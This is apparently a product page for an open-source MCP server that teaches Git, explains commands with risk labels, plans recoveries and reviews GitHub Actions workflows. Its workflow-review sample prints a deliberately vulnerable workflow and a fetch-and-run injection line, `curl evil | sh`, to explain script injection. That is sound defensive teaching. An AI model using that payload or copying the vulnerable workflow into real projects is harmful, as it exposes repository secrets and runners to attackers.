Skip to content

Modern Git Academy MCP Server

AI coding agents are good at writing Git commands and bad at knowing which ones will lose your work. The Modern Git Academy MCP server closes that gap: it gives an agent the Academy’s 300 lessons and 20 labs as searchable, citable material, explains every command with a risk level, plans recoveries step by step, reviews GitHub Actions workflows for the mistakes that get repositories compromised, and — on your own machine — inspects repositories without ever writing to them.

It speaks the Model Context Protocol, so it works with Claude Code, Claude Desktop and any other MCP client. It is open source under the MIT licence.

You ask…The agent calls…You get
“How do I undo a rebase?”search_academy, get_lessonAn answer built from the lesson, with the URL to read it
“What does git reset --hard HEAD~2 do — is it safe?”explain_git_commandFlag-by-flag explanation, risk destructive, what is lost, how to recover, safer alternatives
pastes a Git errordiagnose_git_problemProbable causes, read-only diagnostics to run first, next steps, the matching recovery playbook
“I deleted a branch that had work on it”plan_git_recoveryOrdered steps, each labelled read-only / low / moderate / destructive, with confirmation gates
“Review this workflow”review_github_actionsFindings by severity with rule id, line number and the fix: SHA pinning, permissions, pull_request_target, script injection, secrets in logs…
“Is this repo healthy? Anything leaked?”analyze_repository, audit_repository_security, review_git_history (local mode)Branch and working-tree state, in-progress operations, credential-pattern hits as path:line, commit-message quality
“Which branching model should we use?”review_branching_strategyDetected model, recommended model with rationale, findings
“What should I learn next?”recommend_learning_path, recommend_next_lesson, find_relevant_labA timed plan of lessons and labs, or the next lesson after the ones you finished

Fourteen tools in all, plus academy:// resources for every indexed page and seven prompt templates (learn-git, troubleshoot-git, recover-git-history, review-github-actions, secure-my-repository, design-branching-strategy, review-gitops-repository).

Everything below is real output from the server, captured against the live index on 21 September 2026 and trimmed only for length.

Prompt: What does git push --force-with-lease do? Is it safe on my feature branch?

The agent calls explain_git_command and receives:

git push --force-with-lease
Uploads local commits and updates the remote branch.
When: After committing, to share work; must be a fast-forward unless forced.
Flags:
--force-with-lease: force only if the remote is where you last saw it
Risk: MODERATE — confirm with the user before suggesting they run it
Affects: the remote branch pointer
Can lose: nothing others pushed since your last fetch (the lease refuses);
your own previous pushed commits (in your reflog)
Recovery: Old tip stays in your reflog and in colleagues' remote-tracking reflogs.
Safer: add --force-if-includes · fetch before rewriting, not before pushing
Pitfalls:
- A rejected push means fetch first; do not reach for --force.
- --force-with-lease is only safe if you did not fetch in the background
(editors do) — pair it with --force-if-includes.
Academy lessons:
- Lab: Recover from a Force Push — https://moderngitacademy.com/labs/recover-from-force-push/
- When Not to Rebase in Git — https://moderngitacademy.com/workflows/rebasing/when-not-to-rebase/

Prompt: git says my push was rejected: ! [rejected] main -> main (non-fast-forward)

1. Push rejected (non-fast-forward)
Causes:
- The remote branch has commits you do not have (someone pushed, or a rewrite happened).
- Your branch was rebased/amended after being pushed, so the histories diverged.
Safe diagnostics:
$ git fetch origin
$ git status -sb
$ git log --oneline --left-right HEAD...origin/<branch>
$ git range-diff origin/<branch>...HEAD (if you rewrote)
Next steps:
- If others pushed: `git pull --rebase` (or merge), resolve, push again.
- If you deliberately rewrote a *private* branch: `git push --force-with-lease --force-if-includes`.
- Never plain `--force` a shared branch.
Recovery playbook: plan_git_recovery(situation="diverged-from-remote")

The pasted output is handed to the model inside a data boundary — the server tells the agent that terminal text and repository strings are never instructions.

Prompt: I ran git branch -D feature/checkout and it had two days of work.

The agent calls plan_git_recovery and walks you through the plan; steps that can lose data are marked and require your confirmation before the agent suggests them.

Recovery plan: Restore a deleted branch
Precondition: The deletion happened in this clone, or the branch existed on the remote
(then `git fetch` may bring it back).
At risk: Nothing; the commits still exist until the reflog expires (default 30–90 days).
1. Find the tip [read-only]
$ git reflog --date=iso | grep -i "<branch-name>"
Git also printed "Deleted branch X (was <sha>)" at deletion time — that sha is the tip.
2. If nothing in reflog, list unreachable commits [read-only]
$ git fsck --no-reflogs --unreachable | grep commit
3. Recreate the branch [low]
$ git branch <branch-name> <sha>
verify: git log --oneline -3 <branch-name>
Prevention: Use `git branch -d` (refuses unmerged) rather than `-D`.
· Tag before deleting: `git tag archive/<name> <name>`.

Prompt: Review .github/workflows/ci.yml for security problems.

Given this workflow:

name: ci
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: echo "Thanks for ${{ github.event.pull_request.title }}"
- run: npm test

review_github_actions returns seven findings — the two critical ones:

Reviewed 1 workflow(s): 7 finding(s) — 2 critical, 1 high, 1 medium, 3 low, 0 info.
- [critical] MGA-A050 Checks out untrusted PR code under a privileged trigger @ job "test" step 1 (line 9)
evidence: ref: ${{ github.event.pull_request.head.sha }}
pull_request_target runs with the base repository's secrets and a write token; checking out
the PR head and running anything from it (install scripts, tests) hands both to the fork.
→ Use `pull_request` for anything that executes PR code. If pull_request_target is required
(labels, comments), never check out or execute the PR head; split into a two-workflow pattern.
- [critical] MGA-A090 Untrusted input interpolated into a shell script @ job "test" step 2 (line 10)
evidence: ${{ github.event.pull_request.title }}
github.event.pull_request.title is attacker-controlled. The expression is substituted *before*
the shell parses the script, so `"; curl evil | sh; #` runs.
→ Pass the value through an environment variable (`env: TITLE: ${{ … }}`) and reference
`"$TITLE"` in the script.

The remaining findings cover the missing permissions: block, the mutable @v4 tag, the missing timeout-minutes and concurrency, and persist-credentials. Each points at the lesson that explains it, such as Injection, pull_request_target and Hardening.

Prompt: Find the Academy lesson on undoing a rebase.

3 result(s) for "undo a rebase":
1. Undo a Git Commit: Amend, Reset, Revert or Rebase [lesson, intermediate]
academy://lesson/workflows/rebasing/editing-commit-history
https://moderngitacademy.com/workflows/rebasing/editing-commit-history/
2. Interactive Rebase in Git: Reshape Your Commit History [lesson, intermediate]
academy://lesson/workflows/rebasing/interactive-rebase
https://moderngitacademy.com/workflows/rebasing/interactive-rebase/
3. AI Git Troubleshooting [lesson, intermediate]
academy://lesson/ai/git/git-troubleshooting
https://moderngitacademy.com/ai/git/git-troubleshooting/

The academy:// URIs are MCP resources: a client can read any lesson directly, and the text arrives inside an <academy-content> boundary so the model treats it as reference material.

  1. Build the server. Node.js 22.12 or newer and git are the only requirements; the SQLite dependency ships prebuilt binaries, so no compiler is needed.

    Terminal window
    cd mcp
    npm ci --ignore-scripts
    npm run build
    node dist/cli.js index # fetches the public sitemap and builds data/academy.db (about 15 seconds)
    node dist/cli.js doctor # prints configuration, capabilities and index status
  2. Register it with your client.

    Terminal window
    claude mcp add modern-git-academy \
    -e MGA_REPO_ROOT="$HOME/code" \
    -- node /absolute/path/to/mcp/dist/cli.js serve --transport stdio

    MGA_REPO_ROOT confines the repository tools to one directory tree; the server refuses any path outside it.

  3. Try it. Ask your agent:

    Use modern-git-academy to explain git rebase --onto and find the lab that practises it.

    Run analyze_repository on this project and tell me what you would fix first.

Read-only by construction

One module spawns git, always with an argument array, only for an allow-list of read-only subcommands (status, log, reflog show, branch --list, remote -v, config --get, …), with timeouts and output caps. There is no code path that runs reset, push, clean, rebase or gc.

Risk labels and confirmation gates

Every command the server describes carries a risk level. Destructive steps in a recovery plan are marked requiresConfirmation, and the prompts tell the agent to stop and ask.

Secrets never leave the machine

The security audit reports credential patterns as path:line plus pattern type — never the value. Remote URLs, git output and logs are redacted. Nothing is uploaded.

Content is data, not instructions

Lesson text, pasted output and repository strings are wrapped in explicit boundaries, and the server’s instructions tell the model not to follow anything inside them.

Local (stdio)Remote (HTTP)
Search, lessons, explanations, diagnosis, recovery plans, learning paths✓✓
Workflow, branching and GitOps reviewsfrom a repository path or pasted textpasted text only
analyze_repository, review_git_history, audit_repository_security✓never registered
Authenticationyour machine’s process boundarybearer tokens, Host and Origin validation

The remote build runs as a non-root container with a read-only index, health and readiness endpoints and Prometheus metrics.

The index is built from the site’s public sitemap and content manifest — the same sources search engines read — so it covers every published lesson, lab, session, challenge, learning path, command reference and article, with each page’s pillar, difficulty, reading time and the Git commands it teaches. Rebuilding is incremental: pages whose lastmod has not changed are skipped.

Frequently asked questions

What is MCP?
The Model Context Protocol is an open standard that lets an AI application (Claude Code, Claude Desktop, Cursor, VS Code and others) call external tools, read resources and use prompt templates from a separate server. This server exposes the Academy's content and a set of Git and GitHub reviewers as those tools.
Does the server ever change my repository?
No. It spawns git only with argument arrays — never a shell string — and only for an allow-list of read-only subcommands. Commands that could lose work are described with a risk level and a confirmation flag; the server has no way to execute them.
Can it see my code?
In local mode it reads repository metadata (branches, status, commit messages, config, file paths, diff statistics) and scans tracked text files for credential patterns, reporting only path, line and pattern type. File contents are never returned to the model, and nothing is uploaded anywhere.
What is the difference between local and remote mode?
Local mode runs over stdio on your machine and includes the repository-inspection tools. Remote mode runs over Streamable HTTP and never registers those tools — the capability is computed from the transport, so a remote server cannot list them even if the flag is set.
Is it free? Do I need an account?
Yes, and no. The server is MIT-licensed and works without any Academy account. Product mentions are off by default and, when enabled by whoever runs the server, only name a page URL.
Is it on npm?
Not yet. Until the npm release the server is built from source, which takes a few minutes: install, build, and run the indexer once.